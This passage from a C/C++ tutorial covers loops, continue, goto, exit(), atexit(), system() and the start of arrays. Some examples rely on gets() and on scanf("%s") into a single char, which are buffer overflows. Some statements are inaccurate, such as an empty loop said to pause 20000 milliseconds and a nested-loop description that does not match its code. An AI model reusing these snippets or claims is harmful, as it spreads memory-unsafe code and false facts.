printf("%d ", count);
printf("\n");
system("pause");
}

Output:

- And the flowchart:

www.tenouk.com Page 11 of 33
- We also can use the count down, decrementing the counter variable instead of incrementing.
- For example:

for(count = 100; count > 0; count--)

- We can use counter other than 1, for example 3:

for(count = 0; count < 1000; count += 3)

- The initialization expression can be omitted if the test variable has been initialized previously in the
program. However the semicolon must still be used in the statement.
- For example:

count=1;
for( ; count < 1000; count++)

- The initialization expression need not be an actual initialization, it can be any valid C/C++ expression,
the expression is executed once when the for statement is first reached.
- For example:

count=1;
for(printf("Now sorting the array…"); count < 1000; count++)

- The incremented expression can be omitted as long as the counter variable is updated within the body
of the for statement. The semicolon still must be included.
- For example,

for(counter=0; counter < 100; )


printf("%d", counter++);

- The test expression that terminates the loop can be any C/C++ expression. As long as it evaluates as
true (non zero), the for statement continues to execute.
- Logical operators can be used to construct complex test expressions.
- For example:

for(count =0; count < 1000 && name[count] != 0; count++)


printf("%d", name[count]);
for(count = 0; count < 1000 && list[count];)
printf("%d", list[count++]);

- The for statement and arrays are closely related, so it is difficult to define one without explaining the
other. We will learn an array in another Module.
- The for statement can be followed with a null statement, so that work is done in the for statement
itself. Null statement consists of a semicolon alone on a line.
- For example:

www.tenouk.com Page 12 of 33
for(count = 0; count < 20000; count++)
;

- This statement provides the pause (or time-delay) of 20000 milliseconds.


- An expression can be created by separating two sub expressions with the comma operator, and are
evaluated (in left-to-right order), and the entire expression evaluates to the value of the right sub
expression.
- Each part of the for statement can be made to perform multiple duties.
- For example:

We have two 1000 element arrays, named a[] and b[]. Then we want to copy the contents of
a[] to b[] in reverse order, so, after the copy operation, the array content should be,

b[0], b[1], b[2],… and a[999], a[998], a[997],… and so on, the coding is

for(i = 0, j = 999; i < 1000; i++, j--)


b[j] = a[i];

- Another examples of the for statements:

sum = 0;
for(i = 1; i <=20; i++)
sum = sum + i;
cout<<"\n Sum of the first 20 natural numbers = ";
cout<<sum;

- The above program segment will compute and display the sum of the first 20 natural numbers.
- The above example can be rewritten as:

for(i = 1, sum = 0; i <= 20; i++)


sum = sum + i;
cout<<"\nSum of the first 20 natural numbers = "<<sum;

- Note that the initialization part has two statements separated by a comma (,).
- For example:

for(i = 2, sum=0, sum2 = 0; i <= 20; i = i + 2)


{
sum = sum + i;
sum2 = sum2 + i*i;
}
cout<<"\nSum of the first 20 even natural numbers=";
cout<<sum<<"\n";
cout<<"sum of the squares of first 20 even natural numbers=";
cout<<sum2;

- In this example, the for statement is a compound or block statement. Note that, the initial value in the
initialization part doesn’t have to be zero and the increment value in the incrementation part doesn’t
have to be 1.
- We can also create an infinite or never-ending loop by omitting the second expression or by using a
non-zero constants in the following two code segments examples:

for( ; ; )
cout<<"\n This is an infinite loop";

- And

for( ; 1 ; )
cout<<"\n This is an infinite loop";

- In both cases, the message "This is an infinite loop" will be displayed repeatedly that is
indefinitely.
- All of the repetition constructs discussed so far can also be nested to any degree. The nesting of loops
provides power and versatility required in some applications.

www.tenouk.com Page 13 of 33
- Program example:

//program to show the nested loops


#include <iostream.h>
#include <stdlib.h>

int main()
{
//variables for counter…
int i, j;

//outer loop, execute this first...


for(i=1; i<11; i++)
{
cout<<"\n"<<i;
//then...execute inner loop with loop index j
//the initial value of j is i + 1
for(j=i+1; j<11; j++)
//Display result…
cout<<j;
//increment counter by 1 for inner loop…
}
//increment counter by 1 for outer loop…
cout<<"\n";
system("pause");
return 0;
}

Output:

- The program has two for loops. The loop index i for the outer (first) loop runs from 1 to 4 and for
each value of i, the loop index j for the inner loop runs from i + 1 to 4.
- Note that for the last value of i (i.e. 4), the inner loop is not executed at all because the starting value
of j is 5 and the expression j < 5 yields the value false.
- Another nested example, study the program and the output.

/*Nesting two for statements*/


#include <stdio.h>
#include <stdlib.h>

//function prototype
void DrawBox(int, int);

void main()
{
//row = 10, column = 25...
DrawBox(10, 25);
}

void DrawBox(int row, int column)


{
int col;
//row, execute outer for loop...
//start with the preset value and decrement
//until 1
for( ; row > 0; row--)
{
//column, execute inner loop...
//start with preset col, decrement until 1

www.tenouk.com Page 14 of 33
for(col = column; col > 0; col--)
//print #....
printf("#");
//decrement by 1 for inner loop...
//go to new line for new row...
printf("\n");
}
//decrement by 1 for outer loop...repeats
system("pause");
}

Output:

- In the first for loop, the initialization is skipped because the initial value of row was passed to the
function; this for loop is executed until the row is 0.

6.5 The while Statement – Repetition Control Structure, Iteration

- Also called the while loop, executes a block of statements as long as a specified condition is true.
- The general form:

while(condition)
statement(s);
next_statement;

- The (condition) may be any C/C++ valid expression.


- The statement(s) may be either a single or a compound (a block) C/C++ statement.
- When program execution reaches a while statement, the following events occur:

1. The (condition) is evaluated.


2. If (condition) evaluates as false (that is zero), the while statement terminates and
execution passes to the first statement following statement(s) that is the
next_statement.
3. If (condition) evaluates as true (that is non zero), the C/C++ statement(s) are
executed.
4. Then, the execution returns to step number 1.

- The while statement flow chart is shown below.

www.tenouk.com Page 15 of 33
- Program example:

//Demonstrates a simple while statement


#include <stdio.h>
#include <stdlib.h>

int main()
{
int calculate;

//print the numbers 1 through 12


//set the initial value...
calculate = 1;
//set the while condition...
while(calculate <= 12)
{
//display...
printf("%d ", calculate);
//increment by 1...repeats
calculate++;
}
printf("\n");
system("pause");
return 0;
}

Output:

- Actually, the same task that can be performed by for statement that we have discussed.
- But, while statement does not contain an initialization section, the program must explicitly initialize
any variables before executing the while expression.
- As conclusion, while statement is essentially a for statement without the initialization and increment
components.
- The comparison between for and while:

for( ; condition; ) vs while(condition)

- The tasks that can be accomplished with a for statement can also be done with a while statement.
- If for statement is used, the initialization, test and increment expressions are located together and are
easy to find and modify.
- Just like for and if statements, while statements can also be nested. For example:

//Nested while statements


#include <stdio.h>
#include <stdlib.h>

www.tenouk.com Page 16 of 33
//this program have some array
//that you will learn in another module...
void main()
{
//array variable...
int arrange[5];
int count = 0,
number = 0;

printf("\Prompting you for 5 numbers\n");


printf("Each number should be from 1 to 10\n");

//while condition...
while(count<5)
{
//set the initial condition...
number = 0;
//another while condition...
while((number < 1) || (number > 10))
{
printf("Enter number %d of 5: ", count + 1);
scanf("%d", &number);
}
//inner while loop stop here...
arrange[count] = number;
count++;
}
//outer while loop stop here...
//start for loop for printing the result...
for (count = 0; count < 5; count++)
printf("\nValue %d is %d", count + 1, arrange[count]);
printf("\n");
system("pause");
}

Output:

- In the program example, the number less 1 or more than 10 will not be accepted and displayed.
- Nested loop refers to a loop that is contained within another loop. C/C++ places no limitations on the
nesting of loops, except that each inner loop must be enclosed completely in the outer loop.

6.6 Repetition-The do...while Loop, Iteration

- Executes a block of statements as long as a specified condition is true.


- Test the condition at the end of the loop rather than at the beginning, as is done by the for loop and
the while loop.
- The do…while loop construct is:

do
statement(s);
while(condition);
next_statement;

- (condition) may be any C/C++ valid expression.

www.tenouk.com Page 17 of 33
- statement(s) may be either a single or compound (a block) C/C++ statement.
- When the program execution reaches the do…while statement, the following events occur:

1. The statement(s) are executed.


2. The condition is evaluated. If it is true, execution returns to step number 1. If it is false, the
loop terminates and the next_statement is executed.

- This means the statement in the do...while will be executed at least once.
- The following is a flow chart for the do...while loop:

- You can see that the execute statements are always executed at least once.
- for and while loops evaluate the test condition at the start of the loop, so the associated statements
are not executed if the test condition is initially false.
- do...while is used less frequently than while and for loops, however a do...while loop
probably would be more straight forward.
- Program example:

//program to illustrate a do…while loop


#include <iostream.h>
#include <stdlib.h>

int main()
{
int selection;

do
{
cout<<"\n Menu"<<"\n";
cout<<"\n 0. Exit";
cout<<"\n 1. Append";
cout<<"\n 2. Delete";
cout<<"\n 3. Modify";
cout<<"\n\n Enter selection: ";
cin>>selection;
}while((selection > 0) && (selection < 4));
//true for 1, 2 and 3 ONLY, then repeat
//false for other numbers including 0, then stop...
//the do loop is repeated if the while expression is true.
system("pause");
return 0;
}

Output:

www.tenouk.com Page 18 of 33
- Study the program source code and the output.
- The program displays the menu and then requests a selection. If the selection is 1, 2, or 3, the menu is
displayed again; otherwise, the loop is terminated. Note that the loop is repeatedly executed as long as
the selection is 1, 2, or 3.
- Another program example:

//another do…while statement example


#include <stdio.h>
#include <stdlib.h>

int get_menu_choice(void);

void main()
{
int choice;
choice = get_menu_choice();
printf("You have chosen Menu #%d\n", choice);
printf("\n");
system("pause");
}

int get_menu_choice(void)
{
int selection = 0;
do
{
printf("1 - Add a record");
printf("\n2 - Change a record");
printf("\n3 - Delete a record");
printf("\n4 - Quit");
printf("\nEnter a selection: ");
scanf("%d", &selection );
} while ((selection < 1) || (selection > 4));
return selection;
}

Output:

www.tenouk.com Page 19 of 33
6.7 Other Program Controls

- The continue statement can only be used inside a loop (for, do…while and while) and not
inside a switch. When executed, it transfers control to the test condition (the expression part) in a
while or do…while loop, and to the increment expression in a for loop.
- It forces the next iteration to take place immediately, skipping any instructions that may follow it.
- Unlike the break statement, continue does not force the termination of a loop, it merely transfers
control to the next iteration.
- Let consider the following example:

for(i=1, sum=0; i<100; i++)


{
if (i%2) // test value, 0 or non-zero
continue; //executed if the test value is non-zero…
//and repeat the for statement
sum = sum + i; //executed if the test value is zero…
//and then, also repeat the for statement
}

- This loop sums up the even numbers 2, 4, 6, ... , 98 and stores the value in the variable sum. If the
expression i % 2 (the remainder when i is divided by 2) yields a non-zero value (i.e., if i is odd), the
continue statement is executed and the iteration repeated (i incremented and tested).
- If it yields a zero value (i.e., if i is even), the statement sum = sum + i; is executed and the
iteration continued.
- When a continue statement executes, the next iteration of the enclosing loop begins. The enclosing
loop means the statements between the continue statement and the end of the loop are not executed.
- Another program example:

//example of the continue


#include <stdio.h>
#include <stdlib.h>

void main()
{
//declare storage for input, an array
//and counter variable
char buffer[81];
int ctr;

//input and read a line of text using


//puts() and gets() are pre defined functions
//in stdio.h
puts("Enter a line of text and press Enter key,");
puts("all the vowels will be discarded!:\n");
gets(buffer);

//go through the string, displaying only those


//characters that are not lowercase vowels
for(ctr=0; buffer[ctr] != '\0'; ctr++)
{
//If the character is a lowercase vowel, loop back
//without displaying it
if((buffer[ctr]=='a')||(buffer[ctr]=='e')||
(buffer[ctr]=='i')||(buffer[ctr]=='o')||(buffer[ctr]=='u'))

continue;

//If not a vowel, display it


putchar(buffer[ctr]);
}

www.tenouk.com Page 20 of 33
printf("\n");
system("pause");
}

Output:

- The goto statement is one of C/C++ unconditional jump, or branching, statements and quite popular
in Basic programming language.
- When program execution reaches a goto statement, execution immediately jumps, or branches, to the
location specified by the goto statement.
- The statement is unconditional because execution always branches when a goto statement is
encountered, the branch does not depend on any program condition.
- A goto statement and its target label must be located in the same function, although they can be in
different blocks. For example:

//demonstrate the goto statement


#include <stdio.h>
#include <stdlib.h>

void main()
{
int n;
start: ;
puts("Enter a number between 0 and 10: ");
scanf("%d", &n);

if ((n < 0) || (n > 10))


goto start;

else if (n == 0)
goto location0;
else if (n == 1)
goto location1;
else
goto location2;

location0: ;
{
puts("You entered 0.");
}
goto end;

location1: ;
{
puts("You entered 1.");
}
goto end;
location2: ;
{
puts("You entered something between 2 and 10.");
}
end: ;
system("pause");
}

Output:

www.tenouk.com Page 21 of 33
- Programmer can use goto to transfer execution both into and out of loops, such as a for statement.
- But, it is strongly recommended that a goto statement not be used anywhere in a program. It isn’t
needed. Always use other C/C++ branching statements. Furthermore when program execution
branches with a goto statement, no record is kept of where the execution came from.
- The exit() function, normally used when the program want to terminates at any time by calling the
library function exit(). Other similar functions that you will find in the program examples in this
tutorial include:

Function Description
abort() Abort current process and return error code defined in stdlib.h
Used when a handler for an exception cannot be found. The default
terminate() action by terminate is to call abort() and causes immediate
program termination. It is defined in except.h.

Table 6.2: Termination functions.

- The exit() function terminates program execution and returns control to the Operating System.
- The syntax of the exit() function is:

exit(status);

Status Description
0 The program terminated normally.
Indicates that the program terminated with some sort of error. The
1 return value is usually ignored. Other implementation may use other
than 1 (non-zero) for termination with error.

Table 6.3: exit() status

- We must include the header file stdlib.h or cstdlib if used in C++.


- This header file also defines two symbolic constants for use as arguments to the exit() function,
such as:

#define EXIT_SUCCESS 0
#define EXIT_FAILURE 1

- Then we can call the function like this:

exit(EXIT_SUCCESS);

Or

exit(EXIT_FAILURE);

- The atexit() function, used to specify, or register, one or more functions that are automatically
executed when the program terminates.
- May not be available on non-DOS based system and as many as 32 functions can be registered for
execution of the program.
- These functions are executed on a last-in, first-out basis, the last function registered is the first function
executed.
- When all functions registered by atexit() have been executed, the program terminates and returns
control to the OS.
- The prototype of the atexit() function is located in the stdlib.h and the construct is:

www.tenouk.com Page 22 of 33
int atexit(void(*)(void));

- atexit() function takes a function pointer as its argument and functions with atexit() must have
a return type of void. Pointer will be explained in other Module.
- The following is a program example that shows how to execute the functions cleanup1() and
cleanup2(), in that order, on termination. Study the following program example and the output.

#include <stdlib.h>
#include <stdio.h>

//function prototypes...
void cleanup1(void);
void cleanup2(void);

void main()
{
atexit(cleanup2);
atexit(cleanup1);
//end of main
}

void cleanup1(void)
{
//dummy cleanup.....
printf("\nThis is the demonstration...\n");
printf("cleanup....\n");
printf("You computer is SHUTTING DOWN!!!");
getchar();
}

void cleanup2(void)
{
//another dummy cleanup...
printf("\nAnother cleanup...");
printf("\nWINDOWS 20000 is closing the entire program...");
printf("\nPlease WAIT...");
printf("\nSHUTTING DOWN IN PROGRESS...\n");
getchar();
}

Output:

- Another example, using exit() and atexit() functions.

//Demonstrate the exit() and atexit() functions


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define DELAY 1500000

//function prototypes
void cleanup(void);
void delay(void);

void main()
{
int reply;
//register the function to be called at exit

atexit(cleanup);

www.tenouk.com Page 23 of 33
puts("Enter 1 to exit, any other to continue.");
scanf("%d", &reply);
if(reply == 1)
exit(EXIT_SUCCESS);
//pretend to do some work
for(reply = 0; reply < 5; reply++)
{
puts("WORKING...");
delay();
}
}//end of main

//function definition...
void cleanup(void)
{
puts("\nPreparing for exit");
delay();
}

//function definition
void delay(void)
{
long x;
for(x = 0; x < DELAY; x++)
;
system("pause");
}

Output if user presses other than 1:

- The system() function, enables the execution of OS command in a running C/C++ program.
- Can be quite useful, for example, enabling the program to read a disk’s directory listing or format a
disk without exiting the program.
- Must include the header file stdlib.h. The syntax is:

system("command");

- The command can be either a string constant or a pointer to a string.


- For example, using an argument with the system() function,

char *command = "dir";


system(command);

- After the OS command is executed, the program continues at the location immediately following the
system() call.
- If the command passed to the system() function is not a valid OS command, a bad command or file
name error message is displayed before returning to the program.
- The command can also be any executable or batch file to be run.

www.tenouk.com Page 24 of 33
- Program example:

//Demonstrates the system() function


#include <stdio.h>
#include <stdlib.h>

void main()
{
//Declare a buffer to hold input
char input[40];
while (1)
{
//get the user command
puts("\nInput the desired DOS command, blank to exit");
gets(input);
//Exit if a blank line was entered
if(input[0] == '\0')
exit(0);

//execute the command


system(input);
}
}

Output when DOS command mem is typed:

- You should notice that in the program examples used throughout this tutorial, we have used the
system("pause"), to pause the program execution temporarily for Borland C++ compiled through
IDE. It is used to snapshot the output screen. It is automatically invoked for Microsoft Visual C++
console mode applications.
- The return statement has a form:

return expression;

- The action is to terminate execution of the current function and pass the value contained in the
expression (if any) to the function that invoked it.
- The value returned must be of the same type or convertible to the same type as the function (type
casting).
- More than one return statement may be placed in a function. The execution of the first return statement
in the function automatically terminates the function.
- If a function calls another function before it is defined, then a prototype for it must be included in the
calling function. This gives information to the compiler to look for the called function (callee).
- The main() function has a default type int since it returns the value 0 (an integer) to the
environment.
- A function of type void will not have the expression part following the keyword return. Instead, in
this case, we may drop the entire return statement altogether.
- Study the following program example and the output.

//program showing function definition, declaration, call and


//the use of the return statement

www.tenouk.com Page 25 of 33
#include <iostream.h>
#include <stdlib.h>

int main()
{

float y1, y2, avgy;


float avg(float, float);
//A prototype for the function avg()
//that main() is going to call

y1=5.0;
y2=7.0;
avgy = avg(y1, y2);
//calling the function avg() i.e. control passes
//to avg() and the return value is assigned to avgy
cout<<"\ny1 = "<<y1<<"\ny2 = "<<y2;
cout<<"\nThe average is= "<<avgy<<endl;
system("pause");
return 0;
}

//Definition of the function avg(), avg() is


//of type float main() calls this function
float avg(float x1, float x2)
{
//avgx is a local variable
float avgx;
//Computes average and stores it in avgx.
avgx = (x1+x2)/2;
//returns the value in avgx to main() and
//control reverts to main().
return avgx;
}

Output:

- Compare with the following program example:

//program showing a function of type void


//It has return statement
#include <iostream.h>
#include <stdlib.h>

int main()
{
float y1, y2, avgy;

//function prototype...
//display-avg() is declared to be of type void
void display_avg(float);

y1 = 5.0;
y2 = 7.0;
cout<<"\ny1 = "<<y1<<"\ny2 = "<<y2;
avgy = (y1 + y2)/2; //compute average
display_avg(avgy); //call function display_avg()
cout<<endl;
system("pause");
return 0; //return the value 0 to the environment
}

//display_avg() is of type void


void display_avg(float avgx)
{
cout<<"\nThe average is = "<<avgx;
return;
//No value is returned to main()

www.tenouk.com Page 26 of 33
//and control reverts to main().
//or just excludes the return word…
}

Output:

--------------------------------------------------Notes--------------------------------------------------

Program Examples

Example #1

//A pyramid of $ using nested loops


#include <iostream.h>
#include <stdlib.h>
#define VIEW '$'
//replace any occurrences of VIEW with character $

int main()
{
int i, j;

cout<<"Let have money pyramid!\n"<<endl;

//first for loop, set the rows...


for(i=1; i<=10; i++)
{
//second for loop, set the space...
for(j=1; j<=10-i; j++)
cout<<" ";
//third for loop, print the $ characters...
for(j=1; j<=2*i-1; j++)
//print character...
cout<<VIEW;
//go to new line...
cout<<"\n";
}
system("pause");
return 0;
}

Output:

Example #2

//using break statement in a for structure

www.tenouk.com Page 27 of 33
#include <stdio.h>

int main()
{
int x;

for(x = 1; x <= 10; x++)


{
//break loop only if x == 5
if (x == 5)
break;
printf("%d ", x);
}
printf("\nBroke out of loop at x == %d\n", x);
getchar();
return 0;
}

Output:

Example #3

//using the continue statement in a for structure


#include <stdio.h>
#include <stdlib.h>

int main()
{
int x;

for(x = 1; x <= 10; x++)


{
//skip remaining code in loop only if x == 5
if(x == 5)
continue;
printf("%d ", x);
}
printf("\nUsed continue to skip printing the value 5\n");
system("pause");
return 0;
}

Output:

Example #4

//using for statement to calculate compound interest


#include <stdio.h>
#include <stdlib.h>
#include <math.h> //for pow() function

int main()
{
int year;
double amount, principal = 1000.0, rate = 0.05;

printf("%4s%21s\n", "Year", "Amount on deposit");


for(year = 1; year <= 10; year++)
{
amount = principal * pow(1.0 + rate, year);

www.tenouk.com Page 28 of 33
printf("%4d%21.2f\n", year, amount);
}
system("pause");
return 0;
}

Output:

Example #5

//Counting letter grades using while, switch


//and multiple case
#include <stdio.h>
#include <stdlib.h>

int main()
{
int grade;
int aCount=0,bCount=0,cCount=0,dCount=0,eCount=0,fCount = 0;

printf("Enter the letter grades. \n");


printf("Enter the EOF character, ctrl-c or\n");
printf("ctrl-z, etc to end input.\n");
while((grade = getchar()) != EOF)
{
//switch nested in while
switch(grade)
{
//grade was uppercase A or lowercase a
case 'A': case 'a':
++aCount;
break;
//grade was uppercase B or lowercase b
case 'B': case 'b':
++bCount;
break;
//grade was uppercase C or lowercase c
case 'C': case 'c':
++cCount;
break;
//grade was uppercase D or lowercase d
case 'D': case 'd':
++dCount;
break;
//grade was uppercase E or lowercase e
case 'E': case 'e':
++eCount;
break;
//grade was uppercase F or lowercase f
case 'F': case 'f':
++fCount;
break;
//ignore these input
case '\n': case ' ':
break;
//catch all other characters
default:
{printf("Incorrect letter grade entered.\n");
printf("Enter a new grade.\n");}
break;
}

www.tenouk.com Page 29 of 33
}
//Do the counting...
printf("\nTotals for each letter grade are:\n");
printf("\A: %d\n", aCount);
printf("\B: %d\n", bCount);
printf("\C: %d\n", cCount);
printf("\D: %d\n", dCount);
printf("\E: %d\n", eCount);
printf("\F: %d\n", fCount);
system("pause");
return 0;
}

Output:

- Here we use EOF (acronym, stands for End Of File), normally has the value –1, as the sentinel value.
The user types a system-dependent keystroke combination to mean end of file that means ‘I have
no more data to enter’.
- EOF is a symbolic integer constant defined in the <stdio.h> header file. If the value assigned to
grade is equal to EOF, the program terminates.
- The keystroke combinations for entering EOF are system dependent.
- On UNIX systems and many others, the EOF is <Return key> or ctrl-z or ctrl-d.
- On other system such as old DEC VAX VMS® or Microsoft Corp MS-DOS®, the EOF is ctrl-z.
- Finally, program example compiled using VC++/VC++ .Net.

//using for statement to calculate compound interest


#include <cstdio>
#include <cmath> //for pow() function

int main()
{
int year;
double amount, principal = 1000.0, rate = 0.05;

printf("%4s%21s\n", "Year", "Amount on deposit");


for(year = 1; year <= 10; year++)
{
amount = principal * pow(1.0 + rate, year);
printf("%4d%21.2f\n", year, amount);
}
return 0;
}

Output:

www.tenouk.com Page 30 of 33
- And program examples compiled using gcc.

#include <stdio.h>

int main()
{
char job_title;
int years_served, no_of_pub;

printf(" ---Enter data---\n");


printf("Your current job (Tutor-T, Lecturer-L or Assoc. Prof-A): ");
scanf("%s", &job_title);
printf("Years served: ");
scanf("%d", &years_served);
printf("No of publication: ");
scanf("%d", &no_of_pub);

if(job_title == 'A')
if(years_served > 5)
if(no_of_pub > 7)
printf("\nCan be promoted to Professor\n");
else
printf("\nMore publications required lol! \n");
else
printf("\nMore service required lol\n");
else
printf("\nMust become Associate Professor first\n");
return 0;
}

[bodo@bakawali ~]$ gcc ifelse.c -o ifelse


[bodo@bakawali ~]$ ./ifelse

---Enter data---
Your current job (Tutor-T, Lecturer-L or Assoc. Prof-A): A
Years served: 12
No of publication: 14

Can be promoted to Professor

/*-----forloop.c-----------*/
/*-----First triangle-------*/
#include <stdio.h>

int main()
{
int i, j, k, l;

printf("Triangle lol!\n");
/*first for loop, set the rows...*/
for(i=15; i>=0; i--)
{
/*second for loop, set the space...*/
for(j=15; j>=1+i; j--)
printf(" ");
/*third for loop, print the characters...*/
for(j=1; j<=2*i+1; j++)
/*print the character...*/
printf("H");

www.tenouk.com Page 31 of 33
/*go to new line...*/
printf("\n");
}

/*Another inverse triangle*/


for(k=1; k <= 16; k++)
{
for(l=1; l<=16-k; l++)
printf(" ");
for(l=1; l<=2*k-1; l++)
printf("T");
printf("\n");
}
return 0;
}

[bodo@bakawali ~]$ gcc forloop.c -o forloop


[bodo@bakawali ~]$ ./forloop

Triangle lol!
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHH
HHHHHHHHHHHHH
HHHHHHHHHHH
HHHHHHHHH
HHHHHHH
HHHHH
HHH
H
T
TTT
TTTTT
TTTTTTT
TTTTTTTTT
TTTTTTTTTTT
TTTTTTTTTTTTT
TTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

/*-----------whilelol.c---------------*/
/*Demonstrates a simple while statement*/
#include <stdio.h>

int main()
{
int calculate, sum = 0;
/*print the numbers 1 through 12*/
/*set the initial value...*/
calculate = 1;
/*set the while condition...*/
while(calculate <= 10)
{
/*display...*/
printf("%d -->Sum = %d\n", calculate, sum);
sum = sum + calculate;
/*increment by 1...repeats*/
calculate++;
}
printf("\n");
return 0;
}

[bodo@bakawali ~]$ gcc whilelol.c -o whilelol


[bodo@bakawali ~]$ ./whilelol

www.tenouk.com Page 32 of 33
1 -->Sum = 0
2 -->Sum = 1
3 -->Sum = 3
4 -->Sum = 6
5 -->Sum = 10
6 -->Sum = 15
7 -->Sum = 21
8 -->Sum = 28
9 -->Sum = 36
10 -->Sum = 45

/*----- systemcall.c -------*/


/*Demonstrates the system() function*/
#include <stdio.h>
#include <stdlib.h>

int main()
{
//Declare a buffer to hold input
char input[40];
while (1)
{
//get the user command
puts("\nInput the command, blank to exit");
gets(input);
//Exit if a blank line was entered
if(input[0] == '\0')
exit(0);
//execute the command
system(input);
}
return 0;
}

[bodo@bakawali ~]$ gcc systemcall.c -o hehehe


/tmp/cc23DhgK.o(.text+0x34): In function `main':
: warning: the `gets' function is dangerous and should not be used.
[bodo@bakawali ~]$ ./hehehe

Input the command, blank to exit


ls -F -l
total 1908
-rwxrwxr-x 1 bodo bodo 34243 Apr 23 10:49 algo*
-rwxrwxr-x 1 bodo bodo 17566 Apr 23 10:53 algocopy*
-rw-rw-r-- 1 bodo bodo 1014 Apr 23 10:53 algocopy.cpp
-rw-rw-r-- 1 bodo bodo 1191 Apr 23 10:48 algo.cpp
-rwxrwxr-x 1 bodo bodo 23033 Apr 23 11:23 algofindfirstof*
-rw-rw-r-- 1 bodo bodo 1751 Apr 23 11:22 algofindfirstof.cpp
-rwxrwxr-x 1 bodo bodo 37395 Apr 23 11:28 algoiterswap*
...

Input the command, blank to exit

[bodo@bakawali ~]$
------------------------------------------------------o0o------------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.

www.tenouk.com Page 33 of 33
MODULE 7
DERIVED DATA TYPE - ARRAY

My Training Period: hours

Note: Another important topic in C and C++.

Abilities

▪ Able to understand, use and create an array.


▪ Able to understand and use array and function.
▪ Able to understand and use array, function and a pointer.
▪ Able to understand and use array and string.

2.1 Introduction And Definition

- Up till this Module we were introduced with simple data types that suit to simple applications. For
aggregate data, with same type of element we can use Array.
- An array in C/C++ is a collection of related data elements of the same type that are referenced by a
common name. Generally, it is just another data type, aggregate data type.
- All the elements of an array occupy a set of contiguous memory locations and by using an index or
subscript we can identify each element.
- For example, instead of declaring mark1, mark2, ..., markN to store and manipulate a set of marks
obtained by the students in certain courses, we could declare a single array variable named mark and
use an index, such as j, to refer to each element in mark. This absolutely has simplified our
declaration of the variables.
- Hence, mark[j] would refer to the jth element in the array mark. Thus by changing the value of j,
we could refer to any element in the array, so it simplifies our declaration.
- For example, if we have 100 list of marks of integer type, we will declare it as follows:

int mark1, mark2, mark3, … , mark100;

- If we have 100 marks to be stored, you can imagine how long we have to write the declaration part by
using normal variable declaration?
- By using an array, we just declare like this:

int mark[100];

- This will reserve 100 contiguous/sequential memory locations for storing the integer data type.
- Graphically can be depicted as follows:

7.2 One Dimensional Array: Declaration

- Dimension refers to the array size that is how big the array is. A single dimensional array declaration
has the following form:

array_element_data_type array_name[array_size];

Page 1 of 23
- Here, array_element_data_type declares the base type of the array, which is the type of each
element in the array. array_size defines how many elements the array will hold. array_name is
any valid C/C++ identifier name that obeys the same rule for the identifier naming.
- For example, to declare an array of 20 characters, named character, we could use:

char character[20];

- Can be depicted as follows:

- In this statement, the array character can store up to 20 characters with the first character
occupying location character[0] and the last character occupying character[19]. Note that
the index runs from 0 to 19. In C/C++, an index always starts from 0 and ends with (array size-1). So,
notice the difference between the array size and subscript terms.
- Examples of the one-dimensional array declarations:

int x[20], y[50];


float price[10], yield;
char letter[70];

- The first example declares two arrays named x and y of type int. Array x can store up to 20 integer
numbers while y can store up to 50 numbers. The second line declares the array price of type
float. It can store up to 10 floating-point values.
- The third one declares the array letter of type char. It can store a string up to 69 characters. (Why
69? Remember, a string has a null character (\0) at the end, so we must reserve for it.)
- Just like ordinary variables, arrays of the same data type can be declared on the same line. They can
also be mixed with ordinary variables of the same data type like in the second line together with
yield.

7.3 Array Initialization

- An array may be initialized at the time of its declaration, which means to give initial values to an array.
Initialization of an array may takes the following form:

type array_name[size] = {value_list};

- For examples:

int id[7] = {1, 2, 3, 4, 5, 6, 7};


float x[5] = {5.6, 5.7, 5.8, 5.9, 6.1};
char vowel[6] = {‘a’, ‘e’, ‘i’, ‘o’, ‘u’, ‘\0’};

- The first line declares an integer array id and it immediately assigns the values 1, 2, 3, …, 7 to
id[0], id[1], id[2],…, id[6].
- In the second line assigns the values 5.6 to x[0], 5.7 to x[1], and so on.
- Similarly the third line assigns the characters ‘a’ to vowel[0], ‘e’ to vowel[1], and so on. Note
again, for characters we must use the single apostrophe (’) to enclose them. Also, the last character
in the array vowel is the NULL character (‘\0’).
- Initialization of an array of type char for holding strings may takes the following form:

char array_name[size] = "string_lateral_constant";

- For example, the array vowel in the above example could have been written more compactly as
follows:

Page 2 of 23
char vowel[6] = "aeiou";

- When the value assigned to a character array is a string (which must be enclosed in double quotes), the
compiler automatically supplies the NULL character but we still have to reserve one extra place for the
NULL.

1.1 Array And Function: Passing One Dimensional Arrays To Function

- A function can receive the address of an array by using:

1. A pointer.
2. A sized array (dimension is explicitly stated), e.g. s[20] or
3. An unsized array (dimension is not stated), e.g. p[ ].

- For example, to receive an array named x of type float in functions, we may declare any one of the
following:

// Pointers, will be explained in another Module


int myfunction(float *x)
// Sized array
char yourfunction(float x[5])
// Unsized array
void ourfunction(float x[])

- But you will see later, the second and third methods not used in practice.
- The following program segment illustrates the passing of an array address to a function using a pointer.
- Here, the memory address of x is passed to the parameter pter, a pointer. Remember this; an array
name (without the size) is the pointer to the first array’s element. We will discuss this in more
detail in another Module.

// function prototype
void func(float *);

int main()
{
float x[5];

// an array name (without the bracket) is


// the pointer to the first array element
func(x);
return 0;
}

// function definition
void func(float *pter)
{ return; }

1.2 Array Manipulation: How to use an array and what array can do?

1.2.1 Accessing Array’s Element

- The following program example declares and initializes the array named y of type int. It uses a for
loop with index i to access the successive elements in y. For each loop iteration, the value accessed is
added to the variable total, which is finally displayed. Note that the loop index i run from 0 to 6,
not 1 to 7. Also, note that the array size n is declared in the #define statement.

//Program to find the total of all the elements in array y


#include <iostream.h>
#include <stdlib.h>
//replace every n occurrences with 7
#define n 7

int main()
